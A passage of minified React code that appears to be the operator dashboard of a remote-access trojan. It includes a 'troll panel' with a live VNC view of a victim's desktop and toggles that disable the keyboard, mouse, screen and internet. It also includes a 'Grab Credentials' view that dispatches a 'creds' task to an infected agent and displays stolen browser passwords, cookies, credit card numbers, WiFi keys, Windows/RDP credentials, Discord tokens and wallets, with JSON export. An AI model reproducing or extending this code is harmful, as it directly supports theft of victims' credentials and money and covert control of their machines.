px-5 py-2.5 shrink-0 border-b border-[#1a1a20]",style:{background:"linear-gradient(180deg, #111115 0%, #0d0d11 100%)"},children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("div",{className:"w-5 h-5 flex items-center justify-center",style:{background:"rgba(239, 68, 68, 0.1)",border:"1px solid rgba(239, 68, 68, 0.2)"},children:a.jsxs("svg",{className:"w-3 h-3",viewBox:"0 0 24 24",fill:"none",stroke:"#ef4444",strokeWidth:2,children:[a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.362 5.214A8.252 8.252 0 0112 21 8.25 8.25 0 016.038 7.048 8.287 8.287 0 009 9.6a8.983 8.983 0 013.361-6.867 8.21 8.21 0 003 2.48z"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18a3.75 3.75 0 00.495-7.467 5.99 5.99 0 00-1.925 3.546 5.974 5.974 0 01-2.133-1A3.75 3.75 0 0012 18z"})]})}),a.jsx("span",{className:"font-display text-sm font-semibold tracking-wide text-[#ef4444]/80",children:"TROLL PANEL"})]}),a.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),a.jsxs("div",{className:"flex items-center gap-1.5",children:[a.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:te&&r?"#22C55E":te?"#eab308":"#ef4444",boxShadow:te?"0 0 6px rgba(34,197,94,0.4)":"none"}}),a.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:te&&r?"LIVE":te?"BUFFERING":"CONNECTING"})]}),te&&a.jsxs(a.Fragment,{children:[a.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),a.jsxs("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:[a.jsx("span",{className:"text-zerin-accent",children:C.fps})," FPS"]}),o.w>0&&a.jsxs(a.Fragment,{children:[a.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),a.jsxs("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:[o.w,"×",o.h]})]})]}),a.jsx("div",{className:"flex-1"}),a.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/40",children:"VIEW ONLY"})]}),a.jsxs("div",{className:"flex flex-1 min-h-0 overflow-hidden",children:[a.jsxs("div",{className:"w-[200px] shrink-0 flex flex-col border-r border-[#1a1a20] overflow-y-auto",style:{background:"#0b0b0f"},children:[a.jsx("div",{className:"px-3 pt-3 pb-2",children:a.jsx("span",{className:"font-mono text-[9px] font-semibold tracking-[0.2em] text-zerin-text-muted/50 uppercase",children:"Actions"})}),a.jsxs("div",{className:"flex flex-col gap-1 px-2 pb-3",children:[a.jsx(Xs,{icon:a.jsx(aV,{}),label:"Message Box",desc:"Pop up a dialog",color:"#f59e0b",onClick:()=>h(!0)}),a.jsx(Xs,{icon:a.jsx(sV,{}),label:"Text to Speech",desc:"Read text aloud",color:"#8b5cf6",onClick:()=>w(!0)}),a.jsx(Xs,{icon:a.jsx(oV,{}),label:"Open Website",desc:"Launch a URL",color:"#06b6d4",onClick:()=>z(!0)}),a.jsx(Xs,{icon:a.jsx(lV,{}),label:"Wallpaper",desc:"Change background",color:"#10b981",onClick:()=>T(!0)}),a.jsx(Xs,{icon:a.jsx(cV,{}),label:"CD Tray",desc:"Eject disc drive",color:"#ec4899",onClick:()=>le("troll_cd_tray")})]}),a.jsxs("div",{className:"border-t border-[#1a1a20] px-3 py-3",children:[a.jsx("span",{className:"font-mono text-[9px] font-semibold tracking-[0.2em] text-zerin-text-muted/50 uppercase block mb-2.5",children:"Toggles"}),a.jsxs("div",{className:"flex flex-col gap-2",children:[a.jsx(Ri,{label:"Taskbar",active:c,color:"#06b6d4",onToggle:we}),a.jsx(Ri,{label:"Swap Mouse",active:G,color:"#f59e0b",onToggle:()=>Ne(G,R,"troll_swapmouse"),invert:!0}),a.jsx(Ri,{label:"Sound",active:!K,color:"#8b5cf6",onToggle:()=>Ne(K,_,"troll_disablesound")}),a.jsx(Ri,{label:"Screen",active:!M,color:"#ef4444",onToggle:()=>Ne(M,F,"troll_blackscreen")}),a.jsx(Ri,{label:"Keyboard",active:!U,color:"#10b981",onToggle:()=>Ne(U,V,"troll_disablekeyboard")}),a.jsx(Ri,{label:"Mouse",active:!Z,color:"#ec4899",onToggle:()=>Ne(Z,ae,"troll_disablemouse")}),a.jsx(Ri,{label:"Internet",active:!ue,color:"#06b6d4",onToggle:()=>Ne(ue,be,"troll_reroutesites")})]})]})]}),a.jsxs("div",{className:"flex-1 flex items-center justify-center relative overflow-hidden",style:{background:"#08080a"},children:[a.jsx("div",{className:"absolute inset-0 pointer-events-none opacity-[0.03] z-10",style:{backgroundImage:"repeating-linear-gradient(0deg, transparent, transparent 2px, rgba(255,255,255,0.03) 2px, rgba(255,255,255,0.03) 4px)"}}),te&&r?a.jsx("canvas",{ref:t,className:"max-w-full max-h-full",style:{cursor:"default",aspectRatio:o.w>0?`${o.w}/${o.h}`:void 0,filter:"brightness(0.95)"}}):ne?a.jsxs("div",{className:"flex flex-col items-center gap-5",children:[a.jsxs("div",{className:"relative",children:[a.jsx("div",{className:"w-16 h-16 rounded-full border-2 animate-spin",style:{borderColor:"rgba(6, 182, 212, 0.1)",borderTopColor:"rgba(6, 182, 212, 0.6)"}}),a.jsx("div",{className:"absolute inset-0 flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-accent/40",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})})]}),a.jsxs("div",{className:"text-center",children:[a.jsx("p",{className:"font-display text-sm font-medium text-zerin-text-dim mb-1",children:te?"Waiting for frame...":"Connecting to desktop..."}),a.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted",children:"View-only stream for live trolling"})]})]}):a.jsxs("div",{className:"flex flex-col items-center gap-5",children:[a.jsx("div",{className:"w-16 h-16 flex items-center justify-center",style:{background:"rgba(6, 182, 212, 0.08)",border:"1px solid rgba(6, 182, 212, 0.18)"},children:a.jsx("svg",{className:"w-7 h-7 text-zerin-accent/60",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})}),a.jsxs("div",{className:"text-center",children:[a.jsx("p",{className:"font-display text-sm font-medium text-zerin-text-dim mb-1",children:"Connect to live desktop view?"}),a.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted mb-4",children:"This will start a VNC session to stream the agent's screen"}),a.jsx("button",{onClick:()=>B(!0),className:"px-4 py-2 text-xs font-semibold text-white transition-all",style:{background:"#06b6d4",boxShadow:"0 0 12px rgba(6,182,212,0.3)"},children:"Connect VNC"})]})]}),d&&a.jsx("div",{className:"absolute bottom-4 left-1/2 -translate-x-1/2 z-20 px-4 py-2 font-mono text-xs animate-fade-in",style:{background:"#111115",border:`1px solid ${d.type==="err"?"rgba(239,68,68,0.3)":"rgba(6,182,212,0.25)"}`,color:d.type==="err"?"#ef4444":"#06b6d4"},children:d.text})]})]}),p&&a.jsxs(ac,{title:"Message Box",color:"#f59e0b",onClose:()=>h(!1),children:[a.jsxs("div",{className:"space-y-3",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"TITLE"}),a.jsx("input",{type:"text",value:x,onChange:H=>g(H.target.value),placeholder:"Window title...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r + placeholder-zerin-text-muted/40 focus:outline-none focus:border-[#f59e0b]/30 transition-colors`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"MESSAGE"}),a.jsx("textarea",{value:y,onChange:H=>v(H.target.value),placeholder:"Enter message...",rows:3,className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r + placeholder-zerin-text-muted/40 resize-none focus:outline-none focus:border-[#f59e0b]/30 transition-colors`,autoFocus:!0})]})]}),a.jsx(sc,{onCancel:()=>h(!1),onSend:Ae,color:"#f59e0b",disabled:!y.trim()})]}),b&&a.jsxs(ac,{title:"Text to Speech",color:"#8b5cf6",onClose:()=>w(!1),children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"TEXT"}),a.jsx("textarea",{value:j,onChange:H=>N(H.target.value),placeholder:"What should they hear?",rows:3,className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r + placeholder-zerin-text-muted/40 resize-none focus:outline-none focus:border-[#8b5cf6]/30 transition-colors`,autoFocus:!0})]}),a.jsx(sc,{onCancel:()=>w(!1),onSend:$,color:"#8b5cf6",disabled:!j.trim()})]}),k&&a.jsxs(ac,{title:"Open Website",color:"#06b6d4",onClose:()=>z(!1),children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"URL"}),a.jsx("input",{type:"text",value:S,onChange:H=>O(H.target.value),placeholder:"https://...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text font-mono\r + placeholder-zerin-text-muted/40 focus:outline-none focus:border-zerin-accent/30 transition-colors`,autoFocus:!0})]}),a.jsx(sc,{onCancel:()=>z(!1),onSend:fe,color:"#06b6d4",disabled:!S.trim()||S==="https://"})]}),A&&a.jsxs(ac,{title:"Change Wallpaper",color:"#10b981",onClose:()=>T(!1),children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"IMAGE PATH OR URL"}),a.jsx("input",{type:"text",value:P,onChange:H=>D(H.target.value),placeholder:"C:\\path\\to\\image.jpg or https://...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text font-mono\r + placeholder-zerin-text-muted/40 focus:outline-none focus:border-[#10b981]/30 transition-colors`,autoFocus:!0})]}),a.jsx(sc,{onCancel:()=>T(!1),onSend:ve,color:"#10b981",disabled:!P.trim()})]})]})}function Xs({icon:e,label:t,desc:n,color:r,onClick:i}){return a.jsxs("button",{onClick:i,className:"group flex items-center gap-3 px-3 py-2.5 text-left transition-all duration-150 hover:translate-x-0.5",style:{background:"transparent"},onMouseEnter:s=>{s.currentTarget.style.background=`${r}08`,s.currentTarget.style.borderLeft=`2px solid ${r}40`,s.currentTarget.style.paddingLeft="10px"},onMouseLeave:s=>{s.currentTarget.style.background="transparent",s.currentTarget.style.borderLeft="none",s.currentTarget.style.paddingLeft="12px"},children:[a.jsx("div",{className:"w-8 h-8 flex items-center justify-center shrink-0 transition-colors",style:{background:`${r}10`,border:`1px solid ${r}20`},children:a.jsx("div",{style:{color:`${r}cc`},children:e})}),a.jsxs("div",{className:"min-w-0",children:[a.jsx("div",{className:"text-[12px] font-medium text-zerin-text-dim group-hover:text-zerin-text transition-colors leading-tight",children:t}),a.jsx("div",{className:"text-[10px] text-zerin-text-muted/50 leading-tight mt-0.5",children:n})]})]})}function ac({title:e,color:t,onClose:n,children:r}){return a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/70",onClick:n,children:a.jsxs("div",{className:"w-full max-w-sm mx-4 animate-scale-in",style:{background:"#111115",border:`1px solid ${t}25`,boxShadow:`0 0 40px ${t}08`},onClick:i=>i.stopPropagation(),children:[a.jsxs("div",{className:"flex items-center gap-2 px-4 py-3 border-b",style:{borderColor:`${t}15`},children:[a.jsx("div",{className:"w-2 h-2 rounded-full",style:{background:t,boxShadow:`0 0 8px ${t}60`}}),a.jsx("span",{className:"font-display text-sm font-semibold",style:{color:t},children:e})]}),a.jsx("div",{className:"p-4 space-y-4",children:r})]})})}function sc({onCancel:e,onSend:t,color:n,disabled:r}){return a.jsxs("div",{className:"flex items-center justify-end gap-2 pt-1",children:[a.jsx("button",{onClick:e,className:`px-3 py-1.5 text-xs font-medium text-zerin-text-muted\r + hover:text-zerin-text-dim bg-[#18181c] hover:bg-[#1f1f25] transition-colors`,children:"Cancel"}),a.jsx("button",{onClick:t,disabled:r,className:`px-4 py-1.5 text-xs font-semibold text-white transition-all\r + disabled:opacity-30 disabled:cursor-not-allowed`,style:{background:r?"#333":n,boxShadow:r?"none":`0 0 12px ${n}40`},children:"Send"})]})}function Ri({label:e,active:t,color:n,onToggle:r,invert:i}){const s=t;return a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsx("span",{className:"text-[11px] text-zerin-text-dim font-medium",children:e}),a.jsx("button",{onClick:r,className:"relative w-9 h-[20px] rounded-full transition-colors duration-200 focus:outline-none",style:{background:s?`${n}30`:"rgba(239, 68, 68, 0.2)",border:`1px solid ${s?`${n}40`:"rgba(239, 68, 68, 0.3)"}`},children:a.jsx("div",{className:"absolute top-[2px] w-3.5 h-3.5 rounded-full transition-all duration-200",style:{left:s?"18px":"2px",background:s?n:"#ef4444",boxShadow:`0 0 6px ${s?`${n}50`:"rgba(239,68,68,0.4)"}`}})})]})}function aV(){return a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 10h.01M12 10h.01M16 10h.01M9 16H5a2 2 0 01-2-2V6a2 2 0 012-2h14a2 2 0 012 2v8a2 2 0 01-2 2h-5l-5 5v-5z"})})}function sV(){return a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.114 5.636a9 9 0 010 12.728M16.463 8.288a5.25 5.25 0 010 7.424M6.75 8.25l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})})}function oV(){return a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 21a9.004 9.004 0 008.716-6.747M12 21a9.004 9.004 0 01-8.716-6.747M12 21c2.485 0 4.5-4.03 4.5-9S14.485 3 12 3m0 18c-2.485 0-4.5-4.03-4.5-9S9.515 3 12 3m0 0a8.997 8.997 0 017.843 4.582M12 3a8.997 8.997 0 00-7.843 4.582m15.686 0A11.953 11.953 0 0112 10.5c-2.998 0-5.74-1.1-7.843-2.918m15.686 0A8.959 8.959 0 0121 12c0 .778-.099 1.533-.284 2.253m0 0A17.919 17.919 0 0112 16.5c-3.162 0-6.133-.815-8.716-2.247m0 0A9.015 9.015 0 013 12c0-1.605.42-3.113 1.157-4.418"})})}function lV(){return a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 15.75l5.159-5.159a2.25 2.25 0 013.182 0l5.159 5.159m-1.5-1.5l1.409-1.409a2.25 2.25 0 013.182 0l2.909 2.909m-18 3.75h16.5a1.5 1.5 0 001.5-1.5V6a1.5 1.5 0 00-1.5-1.5H3.75A1.5 1.5 0 002.25 6v12a1.5 1.5 0 001.5 1.5zm10.5-11.25h.008v.008h-.008V8.25zm.375 0a.375.375 0 11-.75 0 .375.375 0 01.75 0z"})})}function cV(){return a.jsxs("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:[a.jsx("circle",{cx:"12",cy:"12",r:"9"}),a.jsx("circle",{cx:"12",cy:"12",r:"3"})]})}function uV({agentId:e,agentStatus:t,autoGrab:n,onAutoGrabConsumed:r}){var k,z,S,O,A,T,P,D,G,R,K,_,M,F,U,V,Z,ae,ue,be,ye,q,te,C,Y,ne,B,le,we,Ne,Ae,$,fe,ve,H,se,W,Q,he,E,ce,J,xe,ke,ze;const[i,s]=m.useState(null),[o,l]=m.useState(!1),[c,u]=m.useState(""),[d,f]=m.useState(new Set),p=t==="dead",h=m.useRef(null);m.useEffect(()=>()=>{h.current&&clearInterval(h.current)},[]);const x=m.useRef(!1);m.useEffect(()=>{n&&!x.current&&!p&&(x.current=!0,y(),r==null||r())},[n]);const g=X=>{f(re=>{const oe=new Set(re);return oe.has(X)?oe.delete(X):oe.add(X),oe})},y=m.useCallback(async()=>{if(!p){l(!0),u(""),s(null),h.current&&(clearInterval(h.current),h.current=null);try{const{task_id:X}=await Me(e,{command:"creds"});let re=0;h.current=setInterval(async()=>{var oe,Oe,et,L,ie,de,lt,Ct,Lt,gr,Qr,Li,As;re++;try{const Jr=(oe=(await Xn(e)).results)==null?void 0:oe.find(bt=>bt.task_id===X);if(Jr){if(h.current&&clearInterval(h.current),h.current=null,l(!1),Jr.error){u(Jr.error);return}if(Jr.output)try{const bt=JSON.parse(Jr.output);s(bt);const rn=new Set;(Oe=bt.chrome_passwords)!=null&&Oe.length&&rn.add("chrome_passwords"),(et=bt.firefox_passwords)!=null&&et.length&&rn.add("firefox_passwords"),(L=bt.wifi)!=null&&L.length&&rn.add("wifi"),(ie=bt.windows_credentials)!=null&&ie.length&&rn.add("windows_credentials"),(de=bt.discord_tokens)!=null&&de.length&&rn.add("discord_tokens"),(lt=bt.wallets)!=null&<.length&&rn.add("wallets"),(Ct=bt.vpn)!=null&&Ct.length&&rn.add("vpn"),((Lt=bt.steam)!=null&&Lt.found||(gr=bt.epic)!=null&&gr.found||(Qr=bt.minecraft)!=null&&Qr.length||(Li=bt.roblox)!=null&&Li.found)&&rn.add("gaming"),(As=bt.errors)!=null&&As.length&&rn.add("errors"),f(rn)}catch{u("Failed to parse credential data")}}else re>=60&&(h.current&&clearInterval(h.current),h.current=null,l(!1),u("Timed out waiting for results"))}catch{}},3e3)}catch(X){l(!1),u(X instanceof Error?X.message:"Failed to submit task")}}},[e,p]),[v,b]=m.useState(null),w=(X,re)=>{navigator.clipboard.writeText(X).then(()=>{const oe=re?re.clientX:window.innerWidth/2,Oe=re?re.clientY-30:window.innerHeight/2;b({text:"Copied!",x:oe,y:Oe}),setTimeout(()=>b(null),1200)}).catch(()=>{})},j=(X,re)=>{try{const oe=atob(X),Oe=new Uint8Array(oe.length);for(let de=0;de{if(!i)return;const X=new Blob([JSON.stringify(i,null,2)],{type:"application/json"}),re=URL.createObjectURL(X),oe=document.createElement("a");oe.href=re,oe.download=`credentials_${e.slice(0,8)}.json`,oe.click(),URL.revokeObjectURL(re)};return a.jsxs("div",{className:"p-6 animate-fade-in space-y-4",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("button",{onClick:y,disabled:o||p,className:`inline-flex items-center gap-2 text-sm font-medium\r + bg-zerin-accent hover:bg-zerin-accent-hover text-white\r + px-4 py-2 transition-colors\r + disabled:opacity-30 disabled:cursor-not-allowed`,children:o?a.jsxs(a.Fragment,{children:[a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}),"Grabbing..."]}):a.jsxs(a.Fragment,{children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})}),"Grab Credentials"]})}),i&&a.jsxs("button",{onClick:N,className:`inline-flex items-center gap-1.5 text-sm font-medium\r + text-zerin-text-dim hover:text-zerin-text\r + bg-zerin-panel hover:bg-zerin-panel-hover\r + border border-zerin-panel-border\r + px-3 py-2 transition-colors`,children:[a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"Export JSON"]}),p&&a.jsx("span",{className:"text-zerin-danger text-xs font-medium",children:"Agent offline"})]}),c&&a.jsx("div",{className:"bg-zerin-danger-dim border border-zerin-danger/20 px-4 py-3 text-sm text-zerin-danger",children:c}),i&&a.jsxs("div",{className:"space-y-2",children:[a.jsx(Rn,{title:"Browser Passwords",count:(((k=i.chrome_passwords)==null?void 0:k.length)??0)+(((z=i.firefox_passwords)==null?void 0:z.length)??0),expanded:d.has("chrome_passwords")||d.has("firefox_passwords"),onToggle:()=>{g("chrome_passwords"),g("firefox_passwords")},children:[...i.chrome_passwords??[],...i.firefox_passwords??[]].length===0?a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No passwords found"}):a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"URL"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:[...i.chrome_passwords??[],...i.firefox_passwords??[]].map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.browser??"Firefox"}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:X.url}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.username,oe),children:X.username}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.password,oe),children:X.password?"••••••••":""})]},re))})]})}),a.jsx(Rn,{title:"Browser Cookies",count:((S=i.chrome_cookies)==null?void 0:S.length)??0,expanded:d.has("chrome_cookies"),onToggle:()=>g("chrome_cookies"),children:(O=i.chrome_cookies)!=null&&O.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Host"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Value"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.chrome_cookies.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.browser}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:X.host}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:X.name}),a.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.value,oe),children:[X.value.slice(0,40),"..."]})]},re))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No cookies found"})}),a.jsx(Rn,{title:"Credit Cards",count:((A=i.chrome_cards)==null?void 0:A.length)??0,expanded:d.has("chrome_cards"),onToggle:()=>g("chrome_cards"),children:(T=i.chrome_cards)!=null&&T.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Number"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Exp"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.chrome_cards.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.browser}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text",children:X.name}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.number,oe),children:X.number}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.exp})]},re))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No credit cards found"})}),a.jsx(Rn,{title:"WiFi Passwords",count:((P=i.wifi)==null?void 0:P.length)??0,expanded:d.has("wifi"),onToggle:()=>g("wifi"),children:(D=i.wifi)!=null&&D.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"SSID"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Auth"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.wifi.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-medium",children:X.ssid}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.auth}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.password,oe),children:X.password||"(none)"})]},re))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No WiFi passwords found"})}),a.jsx(Rn,{title:"Windows Credentials",count:((G=i.windows_credentials)==null?void 0:G.length)??0,expanded:d.has("windows_credentials"),onToggle:()=>g("windows_credentials"),children:(R=i.windows_credentials)!=null&&R.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Target"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Type"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.windows_credentials.map((X,re)=>a.jsxs("tr",{className:`hover:bg-zerin-panel-hover ${X.is_rdp?"bg-zerin-accent-muted/30":""}`,children:[a.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:[X.is_rdp&&a.jsx("span",{className:"text-zerin-accent font-medium mr-1",children:"[RDP]"}),X.target]}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.username,oe),children:X.username}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:oe=>w(X.password,oe),children:X.password?"••••••••":""}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.type})]},re))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No Windows credentials found"})}),a.jsx(Rn,{title:"Discord Tokens",count:((K=i.discord_tokens)==null?void 0:K.length)??0,expanded:d.has("discord_tokens"),onToggle:()=>g("discord_tokens"),children:(_=i.discord_tokens)!=null&&_.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Source"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Type"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Token"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.discord_tokens.map((X,re)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:X.source}),a.jsx("td",{className:"px-4 py-1.5 